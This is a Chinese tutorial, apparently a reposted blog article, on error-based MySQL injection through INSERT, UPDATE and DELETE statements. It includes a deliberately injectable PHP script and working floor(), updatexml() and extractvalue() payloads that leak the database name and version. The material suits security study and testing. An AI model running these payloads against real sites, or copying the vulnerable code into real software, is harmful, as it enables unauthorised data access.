在网站应用中进行数据显示查询操作
insert 插入数据
在网站应用中进行用户注册添加等操作
delete 删除数据
后台管理里面删除文章删除用户等操作
update 更新数据
数据同步缓存等操作
通过以上查询方式与网站应用的关系,可以由注入点产生地方或应用猜测到对方的SQL查询方式
注意:扫描工具一般不能扫描到insert,updata,delete命令的注入点,因为交互过程复杂,涉及到用户登录状态,用户行为交互等方面,这就需要手工测试了
模拟网站环境执行SQL命令:
本地模拟网站输入用户名
<? php $id =$_GET[ ‘ i ‘ ]; $users =$_GET[ ‘ u ‘ ]; $pass =$_GET[ ‘ p ‘ ]; $sql = " insert into users (id,name,password) values (‘$id‘,‘$users‘,‘$pass‘); " ; echo $sql; ?>
指定u参数即可生成插入数据库的SQL命令
同时在任意数据库中新建以下表:
insert语句
INSERT INTO 语句用于向表格中插入新的行。
语法INSERT INTO 表名称 VALUES (值1, 值2,....)
我们也可以指定所要插入数据的列:
INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)
floor()报错演示Payload: insert插入命令:
一般出现在注册是新建昵称等插入文字的地方
本地参数u中用户名输入:
Olivia ‘ or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or ‘
执行的完整SQL语句
insert into users (id,name,password) values ( ‘‘ , ‘ Olivia ‘ or ( select 1 from ( select count(*),concat( floor(rand( 0 )* 2 ), 0x7e ,(database()), 0x7e )x from information_schema.character_sets group by x)a) or ‘‘ , ‘‘ );
复制到SQL数据库中执行
可以看到执行之后显示出数据库名
同理可推断出数据库update(网站个性签名等地方)与delete(网站帖子管理等地方)命令的注入方式:
update命令update users set passowrd= ‘ Nicky ‘ or ( select 1 from ( select count(*),concat( floor(rand( 0 )* 2 ), 0x7e ,(database()), 0x7e )x from information_schema.character_sets group by x)a) or ‘‘ where id= 2 ;
数据库执行
delete命令
delete from users where id= 1 or ( select 1 from ( select count(*),concat( floor(rand( 0 )* 2 ), 0x7e ,(database()), 0x7e )x from information_schema.character_sets group by x)a);
updatexml()报错演示Payload insert命令:
用户名输入:
Olivia ‘ or updatexml(1,concat(0x7e,(version())),0) or ‘
复制去数据库执行
可以看到把数据库的版本查询出来了
同理可推断出数据库update(网站个性签名等地方)与delete(网站帖子管理等地方)命令的注入方式:
update命令update users set password=‘Olivia‘ or updatexml(1,concat(0x7e,(version())),0) or ‘‘ where id=2;
delete命令
delete from users where id= 2 or updatexml( 1 ,concat( 0x7e ,(version())), 0 ) or ‘‘ ;
extractvalue()报错演示Payload insert命令:
用户名输入:
Olivia ‘ or extractvalue(1,concat(0x7e,database())) or ‘
update命令
update users set password=‘Olivia‘ or extractvalue(1,concat(0x7e,database())) or ‘‘;
delete命令
delete from users where id= 1 or extractvalue( 1 ,concat( 0x7e ,database())) or ‘‘ ;
文章参考 : https://www.cnblogs.com/babers/articles/7252401.html
MySQL三种报错注入方式下的insert,update,delete命令注入示例
标签:update sso mys src logs rac int 用户注册 签名
查看更多关于MySQL三种报错注入方式下的insert,update,delete命令注入示例的详细内容...